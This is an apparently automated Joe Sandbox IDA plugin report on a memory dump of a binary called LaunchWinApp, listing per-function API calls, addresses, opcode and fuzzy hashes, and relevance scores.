Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: FreeLocal$FormatH_prologMessage
String ID: unknown error
API String ID: 252809769-3078798498
Opcode ID: 48beb620b42efe1cea8a49862166a89641d6b2d407392d0d7b0f3139e5ab31d9
Instruction ID: 9ce7e2eb81aba17c76f8b70531300c3dd8ae7105b2f83c44342febab76eb752e
Opcode Fuzzy Hash: 48beb620b42efe1cea8a49862166a89641d6b2d407392d0d7b0f3139e5ab31d9
Instruction Fuzzy Hash: 83012CB090020AAFDB11EF95C842AAEBBB5EF18344F10452FF845A6241D7789E548BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00423154 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 00423160

Part of subcall function 0040A95F: ___std_exception_copy.LIBVCRUNTIME ref: 0040A97D

std::exception::exception.LIBCMT ref: 00423178

Strings

q+B, xrefs: 0042315A, 0042315F
q+B, xrefs: 00423158

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: std::exception::exception$___std_exception_copy
String ID: q+B$q+B
API String ID: 3231571295-216669670
Opcode ID: 63ed1c145fe7101c16639f89d1d09fb18d36b29804e3bf756a26b6eed2981519
Instruction ID: 9ba01f656cd83962fb6d13deca0475d5e9d630b8d9007430a74e89e29ebbb13f
Opcode Fuzzy Hash: 63ed1c145fe7101c16639f89d1d09fb18d36b29804e3bf756a26b6eed2981519
Instruction Fuzzy Hash: 5BE04FB62003046B8704EF5AD8C5897BBACFA45334300856BED188B602E7B4E8248BE5

Uniqueness

Uniqueness Score: -1.00%

Function 0045C16E Relevance: 6.3, APIs: 4, Instructions: 320COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0045C1F8

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 5c667b85c69b247d78eb8e6d2296893e72aa73b50319df106e1a4e569776d5bb
Instruction ID: 9f7a541f25a157c5af60ffd646695aa33dc9ad79aa300298d08acb1ede90cce6
Opcode Fuzzy Hash: 5c667b85c69b247d78eb8e6d2296893e72aa73b50319df106e1a4e569776d5bb
Instruction Fuzzy Hash: A3B124729003459FDB118F68C8D1BBEBBA5EF56345F1481ABEC40AB343D6388D46CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041A04F Relevance: 6.3, APIs: 4, Instructions: 288stringCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041A054
SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000), ref: 0041A093
PathCombineW.SHLWAPI(?,?,?), ref: 0041A0AD
lstrlenW.KERNEL32(?,?,?,00000000,?,?,?,00000000), ref: 0041A276

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Path$CombineFolderH_prologSpeciallstrlen
String ID:
API String ID: 1700979297-0
Opcode ID: ed3076c104523d15bd630f8dd49e5c27a666ae2a41963204847502a84eca748b
Instruction ID: 6f96879139151c76972fa8d07f1843588cb11ebddc76d808691517a85e7824ba
Opcode Fuzzy Hash: ed3076c104523d15bd630f8dd49e5c27a666ae2a41963204847502a84eca748b
Instruction Fuzzy Hash: 5DC16D71D01218DFCF14DFA5C995AEEBBB5BF48304F1041AEE006A7292EB385A85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D99D Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 167libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,0000005C,00000001,?,00000048,00000000,00000000,?,?), ref: 0040D7E4
HeapFree.KERNEL32(00000000), ref: 0040D7EB

Part of subcall function 00414005: _Deallocate.LIBCONCRT ref: 00414014

__EH_prolog.LIBCMT ref: 0040DA4B
GetProcAddress.KERNEL32(?,?), ref: 0040DA96
GetProcAddress.KERNEL32(?,?), ref: 0040DAC8
GetProcAddress.KERNEL32(?,?), ref: 0040DB07
GetProcAddress.KERNEL32(?,?), ref: 0040DB3F
GetProcAddress.KERNEL32(?,?), ref: 0040DB74

Strings

H, xrefs: 0040D9AD
\, xrefs: 0040D6ED

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: AddressProc$Heap$DeallocateFreeH_prologProcess
String ID: H$\
API String ID: 1925248606-318634259
Opcode ID: f407b825f62a8ef3110e9ce4a618d3d409f52cfc8bbb517039a92d765ec5888e
Instruction ID: 642f4277c16dce2f1227e3874dfd8be08d6dfdaa441062478a708fd71b18c494
Opcode Fuzzy Hash: f407b825f62a8ef3110e9ce4a618d3d409f52cfc8bbb517039a92d765ec5888e
Instruction Fuzzy Hash: 42619F71C002089EEB14DFE5C985BEEBBB4AF54304F10416EE516772D1EB785A88CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0045214B Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce739833e46dd935646128a7a7a042a61a9e71d8826cabea8a703834685a6cd0
Instruction ID: ebbfa018b64cbc29944482e986f3a274ccb63ebfe67a27d5501d362e2acee0b3
Opcode Fuzzy Hash: ce739833e46dd935646128a7a7a042a61a9e71d8826cabea8a703834685a6cd0
Instruction Fuzzy Hash: 6C4147B1A00704AFE7249F38CD41B9BBBE8EB89755F10862FF501DB382D7B999448784

Uniqueness

Uniqueness Score: -1.00%

Function 004675EE Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004676BE
_free.LIBCMT ref: 004676E7
SetEndOfFile.KERNEL32(00000000,00464C11,00000000,0045B393,?,?,?,?,?,?,?,00464C11,0045B393,00000000), ref: 00467719
GetLastError.KERNEL32(?,?,?,?,?,?,?,00464C11,0045B393,00000000,?,?,?,?,00000000), ref: 00467735

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: bd33fe4accf8230b4276695ed5458ad8bbe0b64287cddc4c831cf8b9a053bfaa
Instruction ID: 4f1d2b4d1600efd1137089db14580955ed1175fe733d5dd49f56fc263a7a4ac4
Opcode Fuzzy Hash: bd33fe4accf8230b4276695ed5458ad8bbe0b64287cddc4c831cf8b9a053bfaa
Instruction Fuzzy Hash: C141D972504A05ABDB11AB6ECC42A9E77A5AF44379F24011BF814E7292FA3CD841876F

Uniqueness

Uniqueness Score: -1.00%

Function 0043F667 Relevance: 6.1, APIs: 4, Instructions: 114fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0043F49F: CopyFileW.KERNEL32(?,?,00000000,?,?,?,0043F789,?,?,00000000), ref: 0043F4AF

CreateFileW.KERNEL32(?,00000081,00000000,00000000,00000003,00000000,00000000,?,?,00000001), ref: 0043F6AF
GetLastError.KERNEL32 ref: 0043F6BC

Part of subcall function 0043F4D4: CloseHandle.KERNEL32(000000FF,?,0043FB9C,?,?,?,00000080,?), ref: 0043F4E0

CreateFileW.KERNEL32(?,00000082,00000000,00000000,00000003,00000000,00000000), ref: 0043F6ED
GetLastError.KERNEL32 ref: 0043F6FA

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: File$CreateErrorLast$CloseCopyHandle
String ID:
API String ID: 1748377786-0
Opcode ID: 70b73d5e03736ca376b42552640f1d66ba9f79bcc1fd9a060e141f0308d4f9ed
Instruction ID: 184a5eeaf27ed35f668ac0a16820d7a5bc1a3cc7be777b0d33307f1342130ad7
Opcode Fuzzy Hash: 70b73d5e03736ca376b42552640f1d66ba9f79bcc1fd9a060e141f0308d4f9ed
Instruction Fuzzy Hash: D331C230E00259BEEB11AAB99C81CBF76BCAF2C710F005576FD20D6292D7788D0D8769

Uniqueness

Uniqueness Score: -1.00%

Function 004163AF Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

___std_fs_open_handle@16.LIBCPMT ref: 004163D3
___std_fs_read_reparse_data_buffer@12.LIBCPMT ref: 0041640D

Part of subcall function 0043FC3C: DeviceIoControl.KERNEL32 ref: 0043FC57
Part of subcall function 0043FC3C: GetLastError.KERNEL32(?,00416412,?,00000000,00004002,?,?,00000080,02200000), ref: 0043FC61

___std_fs_get_file_attributes_by_handle@8.LIBCPMT ref: 00416439

Part of subcall function 0043F4D4: CloseHandle.KERNEL32(000000FF,?,0043FB9C,?,?,?,00000080,?), ref: 0043F4E0

___std_fs_read_name_from_reparse_data_buffer@12.LIBCPMT ref: 00416474

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: CloseControlDeviceErrorHandleLast___std_fs_get_file_attributes_by_handle@8___std_fs_open_handle@16___std_fs_read_name_from_reparse_data_buffer@12___std_fs_read_reparse_data_buffer@12
String ID:
API String ID: 719998554-0
Opcode ID: a3bd12f74103efc5ee1c60b121052fe3a39ef897c4367bc356992702c50184e8
Instruction ID: 3fcc9c7eadc76e3c3294fdbb1203b64cddf9cb62e05918cc9d16f8141d559d9a
Opcode Fuzzy Hash: a3bd12f74103efc5ee1c60b121052fe3a39ef897c4367bc356992702c50184e8
Instruction Fuzzy Hash: 6D319032D00619BADB11EBE59C41DEFB7B8AF04314F16017BF600B6242DB38DA8587AD

Uniqueness

Uniqueness Score: -1.00%

Function 00460234 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00451F00: _free.LIBCMT ref: 00451F0E

Part of subcall function 0045B5E8: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,0045A77A,?,00000000,00000000), ref: 0045B694

GetLastError.KERNEL32 ref: 0046029C
__dosmaperr.LIBCMT ref: 004602A3
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 004602E2
__dosmaperr.LIBCMT ref: 004602E9

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: bc70cc94939164da42b383e9f8a183c316e1bd586dfc4a72650dc6d873fd97b8
Instruction ID: 5ff0dd6b684c4b28ed6d1966f3dd4f07dd2899640299badcd31ccb30484a495c
Opcode Fuzzy Hash: bc70cc94939164da42b383e9f8a183c316e1bd586dfc4a72650dc6d873fd97b8
Instruction Fuzzy Hash: 6E210A71640219BFAF20AF668C95D6BB79DEF043A8710415FF819D7241F738EC4087AA

Uniqueness

Uniqueness Score: -1.00%

Function 00451DFF Relevance: 6.1, APIs: 4, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 141a7fdb0bb5afcf60033019517a12fe1f01eac051aebdc837d44dcec4ac5088
Instruction ID: a63fc8a93c7893814d4dcd6f956c97f38f82f86a765a7ea4bb2c2ba4c70486d4
Opcode Fuzzy Hash: 141a7fdb0bb5afcf60033019517a12fe1f01eac051aebdc837d44dcec4ac5088
Instruction Fuzzy Hash: F221C271200255BFAB20AF668C82E6B77ACEF0036E710451BFC14D7262E738DC0487A8

Uniqueness

Uniqueness Score: -1.00%

Function 00435E7F Relevance: 6.1, APIs: 4, Instructions: 76stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,?,74E069A0,?,?), ref: 00435EB0
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000000,00000000,00000000,00000000,00000000,?,74E069A0,?,?), ref: 00435ECF
lstrcpyA.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,74E069A0,?,?), ref: 00435EF2
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000000,00000000,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,74E069A0), ref: 00435F1E

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$lstrcpylstrlen
String ID:
API String ID: 3705784190-0
Opcode ID: 51793920f76ccee685e26378a8dd596dbc07dac3cdea1a8cfb7f11c89da81908
Instruction ID: edb364eecb3085cef133306fc744d5b3da0bb9b56a3888e0db402e19f4e06936
Opcode Fuzzy Hash: 51793920f76ccee685e26378a8dd596dbc07dac3cdea1a8cfb7f11c89da81908
Instruction Fuzzy Hash: 45216275914104BFEB199F65CC0AABFBBF9EF48300F14446EF841D6250EAB49D40DB15

Uniqueness

Uniqueness Score: -1.00%

Function 0045A1CF Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000,00415155), ref: 0045A1D4
_free.LIBCMT ref: 0045A231
_free.LIBCMT ref: 0045A267
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000), ref: 0045A272

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: d2c0a84465fa14096fa0018bd98a369187cc0d9e38016dc7fa64ae45e8b9ee8f
Instruction ID: 69d46a2496cad9b13188d732fad222f35c6c6cc2cf85ab1a3ee759019ed8f619
Opcode Fuzzy Hash: d2c0a84465fa14096fa0018bd98a369187cc0d9e38016dc7fa64ae45e8b9ee8f
Instruction Fuzzy Hash: E51194362057012EDA11366A5C86D2F21599B81BABF24073FFD14A22D3EE7A4C5D826E

Uniqueness

Uniqueness Score: -1.00%

Function 004394C8 Relevance: 6.1, APIs: 4, Instructions: 71processCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004394FD
CreateProcessA.KERNEL32 ref: 00439588
CloseHandle.KERNEL32(?), ref: 00439591
CloseHandle.KERNEL32(?), ref: 0043959A

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateFileModuleNameProcess
String ID:
API String ID: 2820832629-0
Opcode ID: fec3de1c30e6626e5da260104415c338975dbd676741290c4a5f8ae47dd2086d
Instruction ID: 44268445b66b83fc3bbc0042d26f427a3eed76195accdce52e64f691c07a29ce
Opcode Fuzzy Hash: fec3de1c30e6626e5da260104415c338975dbd676741290c4a5f8ae47dd2086d
Instruction Fuzzy Hash: DB2183B2D0024CBBEB019BA4DC85EEEB7BCFF59304F005166F649A1021E6B05A89CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0045A326 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(0043FE4F,0043FE4F,00000002,0044C429,0045A464,00000000,?,00441C9B,00000002,00000000,?,tI3iZ,?,0040A956,0043FE4F,00000004), ref: 0045A32B
_free.LIBCMT ref: 0045A388
_free.LIBCMT ref: 0045A3BE
SetLastError.KERNEL32(00000000,00000006,000000FF,?,00441C9B,00000002,00000000,?,tI3iZ,?,0040A956,0043FE4F,00000004,00000000,00000000,00000000), ref: 0045A3C9

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 02979d01aef258fdcfb41811417ae51d2abc8c5c839b28e3d5b33dbd124a64d2
Instruction ID: 4899d002d60eae1842b1a0fd32e6454381a62c5752b808faeb64d1d0e6edf3f3
Opcode Fuzzy Hash: 02979d01aef258fdcfb41811417ae51d2abc8c5c839b28e3d5b33dbd124a64d2
Instruction Fuzzy Hash: 1711C6362053002ED611267A9C85D1F265A9BC1B7FB24073EFD14A22D3DE798C1D922E

Uniqueness

Uniqueness Score: -1.00%

Function 0042984B Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

CreateTransaction.KTMW32(00000000,00000000,00000001,00000000,00000000,000000FF,00000000), ref: 00429861
CopyFileTransactedA.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000), ref: 00429887
CommitTransaction.KTMW32(00000000,?,?,00000000,00000000,00000000,00000000,00000000), ref: 00429892
RollbackTransaction.KTMW32(00000000,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0042989A

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Transaction$CommitCopyCreateFileRollbackTransacted
String ID:
API String ID: 2868256026-0
Opcode ID: 5c38c54def7fba41ee2ffc0eb5ee551381773ecc562f7573684a47b1b9dad428
Instruction ID: 17749bc364ff8988b1aa1c107f5af9b91acab172e3a675f977a52a46f3b32ea5
Opcode Fuzzy Hash: 5c38c54def7fba41ee2ffc0eb5ee551381773ecc562f7573684a47b1b9dad428
Instruction Fuzzy Hash: 02F0A475320120BFF7146A59AC88DB736ACDB47361B540526FD12C72D0E7A19C8186BA

Uniqueness

Uniqueness Score: -1.00%

Function 0043F5F8 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00000400,?,00000000,00000000,?,00000000,00000000,?,?,?,004147B9,?,?,?,00000000), ref: 0043F615
GetLastError.KERNEL32(?,?,?,004147B9,?,?,?,00000000,00000000,?,?,00000007), ref: 0043F621
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,?,00000000,00000000,?,?,?,004147B9,?,?,?,00000000), ref: 0043F647
GetLastError.KERNEL32(?,?,?,004147B9,?,?,?,00000000,00000000,?,?,00000007), ref: 0043F653

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 6956984baba360ce7be0428b5fee7f092daa5826fbadb9959eeb11310f0e1b87
Instruction ID: e1769066f3996d3e272e75d40c544a175d115fdb6cbdfd5993cfd9dbca1e8b28
Opcode Fuzzy Hash: 6956984baba360ce7be0428b5fee7f092daa5826fbadb9959eeb11310f0e1b87
Instruction Fuzzy Hash: 3F016236A00159BBCF220F96DC09C9B3E6AEBE97A0F004035FE0555230D671C823EBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004169F1 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

CreateTransaction.KTMW32(00000000,00000000,00000001,00000000,00000000,000000FF,00000000), ref: 00416A05
CreateDirectoryTransactedA.KERNEL32 ref: 00416A1E
CommitTransaction.KTMW32(00000000,?,00000000,00000000), ref: 00416A29
RollbackTransaction.KTMW32(00000000,?,00000000,00000000), ref: 00416A31

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Transaction$Create$CommitDirectoryRollbackTransacted
String ID:
API String ID: 629542334-0
Opcode ID: 5eccc0dd450be8841c3cea339a640bd46fbb7ccd473ca07b6b6c0ac3a07a9dcf
Instruction ID: e8c073272cbab2d3ff18bfab8a53dace8d0082a8ccfc4210a1f335fb7fb0d78a
Opcode Fuzzy Hash: 5eccc0dd450be8841c3cea339a640bd46fbb7ccd473ca07b6b6c0ac3a07a9dcf
Instruction Fuzzy Hash: 6EF0B471100114BFE610175E9D8CCA77AACDF463F57110622F922A32D0EAA0DCC186B6

Uniqueness

Uniqueness Score: -1.00%

Function 0040C9FC Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

CreateTransaction.KTMW32(00000000,00000000,00000001,00000000,00000000,000000FF,00000000,?,00000000,?,?,?,?,00000000), ref: 0040CA0F
DeleteFileTransactedA.KERNEL32 ref: 0040CA26
CommitTransaction.KTMW32(00000000,?,00000000,?,?,?,?,00000000), ref: 0040CA31
RollbackTransaction.KTMW32(00000000,?,00000000,?,?,?,?,00000000), ref: 0040CA39

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Transaction$CommitCreateDeleteFileRollbackTransacted
String ID:
API String ID: 3802493581-0
Opcode ID: 52a705e1ab0a63daa496820a83161973e72f4b057a9e73aa095895207cd0a512
Instruction ID: 047adbc7aab856705940c154fe49f07b4c4bf1216ba82bf0ec8d8ed9166a6ce6
Opcode Fuzzy Hash: 52a705e1ab0a63daa496820a83161973e72f4b057a9e73aa095895207cd0a512
Instruction Fuzzy Hash: 5DF0B471200114FFDA20976D9C48E2736ACDB857307100736FC12E32D0E7B45C41CA7A

Uniqueness

Uniqueness Score: -1.00%

Function 0042B011 Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

CreateTransaction.KTMW32(00000000,00000000,00000001,00000000,00000000,000000FF,00000000), ref: 0042B024
RemoveDirectoryTransactedA.KERNEL32 ref: 0042B03B
CommitTransaction.KTMW32(00000000,?,00000000), ref: 0042B046
RollbackTransaction.KTMW32(00000000,?,00000000), ref: 0042B04E

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Transaction$CommitCreateDirectoryRemoveRollbackTransacted
String ID:
API String ID: 1201024725-0
Opcode ID: b605264771e57ec225c76b56247dfa6c93aaa250ad71c25504b54b918c369c2b
Instruction ID: 22db9db34b4bd88df0826ee3b4b6ca173227cd5139a8a207a57c94182e11ac00
Opcode Fuzzy Hash: b605264771e57ec225c76b56247dfa6c93aaa250ad71c25504b54b918c369c2b
Instruction Fuzzy Hash: 02F0B471200120FFDA200B6AAC0DD2737ACEB467707500626FE22C72D0E7A45C4186BA

Uniqueness

Uniqueness Score: -1.00%

Function 0043600D Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00020008,?), ref: 00436025
OpenProcessToken.ADVAPI32(00000000), ref: 0043602C
GetUserProfileDirectoryA.USERENV(?,?,00000200), ref: 0043603E
CloseHandle.KERNEL32(?,?,00000200), ref: 0043604B

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Process$CloseCurrentDirectoryHandleOpenProfileTokenUser
String ID:
API String ID: 1246687928-0
Opcode ID: 11530ab6dfcf60f95a2848e619c1502c7b68d707d2ac4d09d7cfa0316c3cfc0a
Instruction ID: 8f4e6d23ff46e6daab2ebf7604d2076cb9adc6ea422dd68d0d57ba94d4308a7a
Opcode Fuzzy Hash: 11530ab6dfcf60f95a2848e619c1502c7b68d707d2ac4d09d7cfa0316c3cfc0a
Instruction Fuzzy Hash: 11F08CB1514219BFEB109BA2DC4AEAE3BBDEB09340F100475E902E2120F6B4DE049A69

Uniqueness

Uniqueness Score: -1.00%

Function 004674EB Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00463F52,00000000,00000001,00000000,00000000,?,00457ACE,?,?,00000000), ref: 00467502
GetLastError.KERNEL32(?,00463F52,00000000,00000001,00000000,00000000,?,00457ACE,?,?,00000000,?,00000000,?,0045801A,00000000), ref: 0046750E

Part of subcall function 004674D4: CloseHandle.KERNEL32(FFFFFFFE,0046751E,?,00463F52,00000000,00000001,00000000,00000000,?,00457ACE,?,?,00000000,?,00000000), ref: 004674E4

___initconout.LIBCMT ref: 0046751E

Part of subcall function 00467496: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,004674C5,00463F3F,00000000,?,00457ACE,?,?,00000000,?), ref: 004674A9

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,00463F52,00000000,00000001,00000000,00000000,?,00457ACE,?,?,00000000,?), ref: 00467533

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: be9cbdeb988518da23ecc76c7a34469ba7069b3b62c582f8f39ad8142bc26a0b
Instruction ID: a49bc6428f3961b047b4cfb8b161e4ef5e12f34f7be912ba5df54bccf526a1fb
Opcode Fuzzy Hash: be9cbdeb988518da23ecc76c7a34469ba7069b3b62c582f8f39ad8142bc26a0b
Instruction Fuzzy Hash: 94F03036404118BBCF222F96EC08D8E3F66FB483A5B454466FA1995571FA7288209BDA

Uniqueness

Uniqueness Score: -1.00%

Function 0043F40B Relevance: 6.0, APIs: 4, Instructions: 24COMMON

Download Yara Rule

APIs

CreateSymbolicLinkW.KERNEL32(?,?,?,?,0043F836,?,?,00000000,?,00416382,?,?), ref: 0043F41B
GetLastError.KERNEL32(?,0043F836,?,?,00000000,?,00416382,?,?), ref: 0043F425
CreateSymbolicLinkW.KERNEL32(?,?,?,?,0043F836,?,?,00000000,?,00416382,?,?), ref: 0043F439
GetLastError.KERNEL32(?,0043F836,?,?,00000000,?,00416382,?,?), ref: 0043F443

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: CreateErrorLastLinkSymbolic
String ID:
API String ID: 191780330-0
Opcode ID: 63d7d28df5b63d215a8b64c4c31ec7c17c20a2a3711c160f5d296b3272486d3c
Instruction ID: ecf2b820788bd03b273db7c898cadb72a10ad0fae9d3753eb15ad6765cd9ce0f
Opcode Fuzzy Hash: 63d7d28df5b63d215a8b64c4c31ec7c17c20a2a3711c160f5d296b3272486d3c
Instruction Fuzzy Hash: ACE0ED35500149EFEF015F95EC49D5B3BA5BB34715B108421F819A1121D7718865AA6A

Uniqueness

Uniqueness Score: -1.00%

